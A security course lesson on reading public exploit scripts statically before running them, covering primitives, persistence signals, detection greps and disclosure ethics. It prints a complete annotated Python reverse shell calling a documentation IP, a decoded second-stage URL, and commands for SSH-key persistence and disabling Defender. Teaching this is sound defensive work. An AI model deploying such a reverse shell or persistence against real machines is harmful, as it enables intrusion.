Offensive code analysis — Concepts
A public exploit is not a recipe. It is a program someone else wrote, sometimes to document a flaw, sometimes to install their own on top of it. Reading it without running it is a skill. This lesson sets the method, the signals, and how to turn them into a finding.
Opening an "exploit" script in the interpreter is accepting to become the target. A GitHub repository titled PoC CVE-20xx regularly contains a second stage: a network callback, an added SSH key, a scheduled task. You read it in an editor, with less, bat or Get-Content. Not with python exploit.py.
What you will be able to do after this lesson
- Tell SAST from DAST, and know which one to open first when facing an offensive tool.
- Apply a four-step static reading before any execution.
- Name the sensitive primitives (
eval,exec,socket,pickle, shell calls) and what they give away. - Reconstruct a script's threat model: privilege, version, network, persistence.
- Spot warning signals in a few seconds: hard-coded URL or IP, base64, XOR, writes to
authorized_keys,crontab,Registry\Run. - Write a finding (evidence, impact, remediation) and know the frame of a coordinated disclosure.
1. SAST versus DAST — two looks, one order
Two families of analysis, two objects, two different lies.
| Approach | What you examine | What you execute | What you get |
|---|---|---|---|
| SAST (Static Application Security Testing) | The source, the bytecode, the script, the disassembled binary | Nothing of the target, nothing of the script | Candidates, primitives, secrets, dead paths |
| DAST (Dynamic Application Security Testing) | The application that is running | Requests, sometimes payloads | Confirmations, behaviors, different false positives |
SAST answers: "what is this code capable of doing?" DAST answers: "what does this service actually do when you probe it?"
Facing an offensive tool (public exploit, automation script, Metasploit module recovered out of scope), the order is not negotiable: SAST first. You do not yet have the right to discover "dynamically" what the script sends to 203.0.113.7.
Facing an application you are auditing (lab, engagement, client repository), the two complement each other. Semgrep and Bandit list the candidates. Burp and manual tests confirm what is reachable. A code-review finding often rests on SAST alone: the evidence is a line, not a shell capture.
All example IPs are documentation ranges (RFC 5737), notably 203.0.113.0/24. They do not route to a real machine. If a script you read points elsewhere — a residential range, a VPS, an unknown domain — that is already a signal.
2. Why static reading comes before execution
Three reasons, none of them theoretical.
You can become the victim. The file is named exploit.py. On the first import, it opens a socket, writes a key, downloads a second script. The repository title does not protect you. The most shared "PoCs" are also the most copied, and the most often re-armed.
You can step out of scope. Running an exploit without having read the target, the version, the network prerequisite, is attacking blind. Outside the lab and outside the RoE, it is a crime. Even on an engagement, a script that sweeps 10.0.0.0/8 when the perimeter is a /28 puts you out of contract.
You miss what survives the shell. Many students stop at "it opens a /bin/sh". The useful question comes after: does it stay? A line in crontab, a value under HKCU\...\Run, a key in ~/.ssh/authorized_keys is worth more, for the defender and for the report, than the shell itself.
The simple rule: if I cannot tell the script to someone else, I do not have the right to run it.
3. The reading method, in four steps
It is the same grid for a ten-line reverse shell and for a two-hundred-file framework.
3.1. Static first
Open it in an editor. List the imports, the included files, the network calls, the disk writes. Do not compile "to see". Do not import an unknown module: in Python, a simple import executes the file body.
# Read, do not execute
less exploit.py
bat --paging=never exploit.py
Get-Content .\outil.ps1
strings -n 8 binaire_inconnu | less
3.2. Locate the sensitive primitives
A primitive is a call that changes the world: execute code, open the network, write a trusted file, disable a defense. You look for them before you understand the rest. A table is enough.
| Primitive | Common languages | What it enables | Reading |
|---|---|---|---|
eval, exec | Python, PHP | Execute a string as code | The payload often arrives from elsewhere (network, file, argument) |
Function, setTimeout(string) | JavaScript | Same on the browser or Node side | Stored XSS or obfuscation tool |
socket, connect, requests.get | Python, C, Go | Callback or download | C2, reverse shell, second stage |
subprocess, os.system, Runtime.exec | Python, Java | Shell | Built command, often injectable |
pickle.loads, yaml.load, unserialize | Python, PHP | Deserialization | Code execution on load |
ctypes, reflection, Native | Python, Java, .NET | Low-level calls | Bypass, injection |
os.dup2 | Python, C | Redirect stdin/stdout/stderr | Classic reverse-shell marker |
You do not need to understand the whole script to circle these calls. The rest of the reading hangs on them.
3.3. Identify the payload
Three questions, in this order:
- What does it install or overwrite? Binary, key, service, environment variable.
- Who does it contact? IP, domain, port, protocol, direction (inbound / outbound).
- What does it persist? Nothing (ephemeral shell), or a mechanism that survives reboot.
A six-line TCP reverse shell often installs nothing. A fifty-line "patch" that touches authorized_keys installs a door. Not the same family, not the same finding.
3.4. Reconstruct the threat model
A script without a threat model is an anecdote. You must be able to fill this table before you conclude.
| Question | Why it matters |
|---|---|
| Which privilege do you already need? | Local user, authenticated web session, remote anonymous: the impact changes. |
| Which version, which product? | A WordPress 4.7 exploit says nothing about a 6.x. |
| Which network prerequisites? | Outbound TCP 4444, DNS, SMB, localhost only. |
| What does success look like? | Shell, token theft, file write, denial of service. |
| What remains afterward? | Nothing, or a persistence the client must remove. |
Without this last box, you do not know what to recommend. A shell without persistence closes. An SSH key does not close.
4. Signals to spot immediately
You will not always have time for a full review. These patterns show up in a sweep, often with grep.
| Signal | Where it appears | Reading |
|---|---|---|
| Hard-coded URL to a third party | http://, https://, ftp:// | Second-stage download, exfiltration, "update" |
| Literal IP | Especially outside RFC 1918 and outside documentation ranges | C2, callback, poorly scoped internal scan |
| base64 or XOR | Long strings, b64decode, bytes([…]) ^ key | Hidden payload or URL — decode, do not execute |
~/.ssh/authorized_keys | echo, >>, open(..., "a") | SSH persistence: an attacker key becomes a legitimate login |
crontab / schtasks | @reboot, * * * * * | Time-based persistence |
Registry\Run | HKCU\Software\Microsoft\Windows\CurrentVersion\Run | Windows session persistence |
| Defense sabotage | Set-MpPreference -DisableRealtimeMonitoring, stopping ufw / iptables | The script prepares the ground; that deserves a finding of its own |
# Static sweep — the file is not interpreted
grep -nE 'eval|exec\(|socket|subprocess|pickle|b64|base64|xor|authorized_keys|crontab|DisableRealtimeMonitoring' exploit.py
An IP in 203.0.113.0/24 in this course is an example. The same shape in a script downloaded this morning is an external callback. An IP in 192.0.2.0/24 or 198.51.100.0/24 as well (RFC 5737). An IP of 8.8.8.8 is not a C2, it is often a resolver. A residential / VPS IP in 185.x or 45.x deserves a whois lookup before you continue.
4.1. Annotated example — Python reverse shell
The fragment below is pedagogical. It does not run on this page, and you do not run it.
# DO NOT RUN — pedagogical annotation.
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # TCP socket
s.connect(("203.0.113.7", 4444)) # hard-coded external callback
os.dup2(s.fileno(), 0) # stdin redirect
os.dup2(s.fileno(), 1) # stdout redirect
os.dup2(s.fileno(), 2) # stderr redirect
subprocess.call(["/bin/sh", "-i"]) # interactive shell
Reading, line by line:
| Line | Primitive | What it does | What it does not do |
|---|---|---|---|
socket(...) | Network | Creates a TCP descriptor | Does not listen: it is a client |
connect(("203.0.113.7", 4444)) | Callback | Joins a hard-coded IP and port | No DNS resolution, no encryption |
os.dup2(..., 0/1/2) | Redirect | The shell will speak through the socket | No authentication |
subprocess.call(["/bin/sh", "-i"]) | Execution | Interactive shell | No persistence, no obfuscation |
Threat model in one sentence: outbound TCP reverse shell, prerequisite = ability to run Python on the machine, success = remote shell, remains = nothing (ephemeral process). Possible detection: unusual outbound rule to port 4444, or simply reading the source.
This is the most readable case. The next walkthrough adds a bash script that persists, and tools that find the same patterns on their own in an application.
4.2. base64 and XOR — decoding is not running
An opaque string is not an argument to "try the script". It is an argument to decode it in a scratchpad.
# Isolated decode: you get text, you do not pipe it to an interpreter
printf '%s' 'aHR0cHM6Ly8yMDMuMC4xMTMuNy9vdXRpbHMvbWFqLnNo' | base64 -d
# → https://203.0.113.7/outils/maj.sh
# Pedagogical XOR: the 0x13 key is in the script, visible
chiffre = bytes.fromhex("2123203d233d2222203d24")
clair = bytes(b ^ 0x13 for b in chiffre)
# clair == b'203.0.113.7' — note it, do not connect
The decode result re-enters the grid: third-party URL, IP, command. You file it in the threat model. You do not curl it, you do not bash it.
5. What tools change — and what they do not
Semgrep, Bandit, Gitleaks, ripgrep: these are reading accelerators, not replacements.
| Tool | Strength | Limit |
|---|---|---|
| Semgrep | Multi-language rules, patterns (SQLi, injections, secrets) | Missing rule = gap; false positives on dead code |
| Bandit | Python-specialized, stable IDs (B301, B608) | Ignores PHP, PS1, bash outside Python |
| Gitleaks | Hard-coded secrets, AWS keys, tokens | Does not understand an eval primitive |
grep / rg | You choose the pattern | You only find what you know how to name |
A tool that says nothing does not prove the absence of a payload. A tool that shouts about eval of a constant string in a unit test does not prove RCE. You remain the reader. The walkthrough shows the real output; the lab has you decide.
SAST overestimates (an execute on a constant) and underestimates (a primitive hidden behind two functions of yours). A finding rests on the line you read, not on the Bandit identifier alone. Conversely, "Bandit said nothing" is not an audit conclusion.
6. Document the way you write a finding
Reading only matters if it lands in the report. An offensive tool, or a flaw found in the source, is documented with the same three blocks as the report module.
- Evidence — file, line, excerpt, tool identifier. Not "the script looks dangerous".
- Impact — who can do what, with which prerequisite. A
pickle.loadson an anonymous route does not have the same impact as anmd5on an internal password. - Remediation — the fix, or the removal of the persistence, or the detection rule. An actionable sentence.
Add, when it is a tool and not an app: the recommendation not to run it, the threat model, and what the SOC can already block (outbound 4444, authorized_keys write).
It is the same reflex as for a SQLi: the report reader must be able to verify without replaying the attack. Here, they verify by opening the file.
7. Ethics — publishing is not trivial
Publishing a working exploit — including "for science" — carries three duties. The module index states them; they hold outside school.
- Coordinated disclosure timeline with the vendor. The researcher notifies, the vendor patches, then the detail ships. Usual timelines sit around 90 days; the contract or the provider's policy prevails.
- Documented remediation. A PoC without a fix, without a patched version, without a detection measure, is a weapon delivered without a notice. Your finding must carry the remedy.
- Responsibility framework toward users. Copying an exploit into a public repository "for students" without disarming it (documentation IP,
exitat the top, do not run banner) makes you a distributor.
This course shows annotated excerpts, RFC 5737 IPs, deliberately vulnerable repositories that you create locally. It never asks you to push an armed exploit, nor to aim at a system outside the lab.
8. The confusions that cost the most time
- "I'll run it, I'll see." You will mostly see the second stage. Reading is the control.
- "SAST = DAST without the packets." No. SAST does not confirm that a route is reachable. DAST does not read a persistence that has not been triggered yet.
- "No obfuscation, therefore not dangerous." The reverse shell in section 4 has no obfuscation. It is perfectly dangerous if you run it.
- "It's an admin tool, therefore it's clean." A bash script that "updates the fleet" and rewrites
authorized_keysis an admin tool and a persistence. The file name does not decide. - "Gitleaks found an example key, therefore everything is red."
AKIAIOSFODNN7EXAMPLEis the AWS documentation key. You qualify: example, revoked, or real secret. The report does not dilute real leaks.
What to remember
Static reading is the only control that precedes execution. SAST and DAST do not replace each other: one reads the capable, the other the real. You look first for primitives (eval, socket, shell, deserialization), then the payload, then the threat model. The signals (hard-coded URL/IP, base64, XOR, authorized_keys, crontab, Registry\Run) sweep in one command. A tool accelerates; it does not sign the finding. Publishing a working exploit without a coordinated timeline, without a remedy and without a framework, leaves this profession.
Next lesson: we annotate a reverse shell and a bash script without running them, then we read the Semgrep, Bandit and Gitleaks output on a Flask application.